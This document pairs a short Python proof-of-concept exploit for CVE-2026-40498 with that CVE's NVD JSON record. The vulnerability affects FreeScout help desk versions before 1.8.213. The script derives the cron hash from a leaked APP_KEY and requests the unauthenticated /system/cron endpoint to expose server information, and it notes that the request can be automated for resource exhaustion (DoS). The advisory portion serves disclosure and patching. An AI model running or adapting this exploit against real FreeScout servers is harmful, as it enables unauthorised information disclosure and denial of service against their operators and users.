CVE-2026-40498

import requests import hashlib def generate_cron_hash(app_key): # Generate the hash based on the disclosed logic: md5(APP_KEY . 'web_cron_hash') return hashlib.md5((app_key + 'web_cron_hash').encode()).hexdigest() def exploit(target_url, app_key): cron_hash = generate_cron_hash(app_key) # The vulnerable endpoint structure full_url = f"{target_url}/system/cron?hash={cron_hash}" try: print(f"[+] Sending request to: {full_url}") response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Successfully accessed the diagnostic endpoint.") print("[+] Response content:") print(response.text[:200]) # Print partial response to confirm info disclosure print("[+] You can now automate this to cause Resource Exhaustion (DoS).") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example usage # Replace with actual target and extracted/leaked APP_KEY TARGET = "http://example-freescout.com" # In a real scenario, the attacker obtains the APP_KEY from logs or previous leaks LEAKED_APP_KEY = "base64:randomleakedkeystring==" exploit(TARGET, LEAKED_APP_KEY)

{"cve": {"id": "CVE-2026-40498", "sourceIdentifier": "[email protected]", "published": "2026-04-21T16:16:20.240", "lastModified": "2026-04-22T17:34:45.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, an unauthenticated attacker can access diagnostic and system tools that should be restricted to administrators. The /system/cron endpoint relies on a static MD5 hash derived from the APP_KEY, which is exposed in the response and logs. Accessing these endpoints reveals sensitive server information (Full Path Disclosure), process IDs, and allows for Resource Exhaustion (DoS) by triggering heavy background tasks repeatedly without any rate limiting. The cron hash is generated using md5(APP_KEY . 'web_cron_hash'). Since this hash is often transmitted via GET requests, it is susceptible to exposure in server logs, browser history, and proxy logs. Furthermore, the lack of rate limiting on these endpoints allows for automated resource exhaustion (DoS) and brute-force attempts. Version 1.8.213 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freescout:freescout:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.213", "matchCriteriaId": "EA97ED0A-4886-4583-9D20-47BE39C40B01"}]}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/b1d6c2c601a6ec3626ab13e679607b5084dfbd38", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-5jw5-q9j7-4rxc", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-5jw5-q9j7-4rxc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}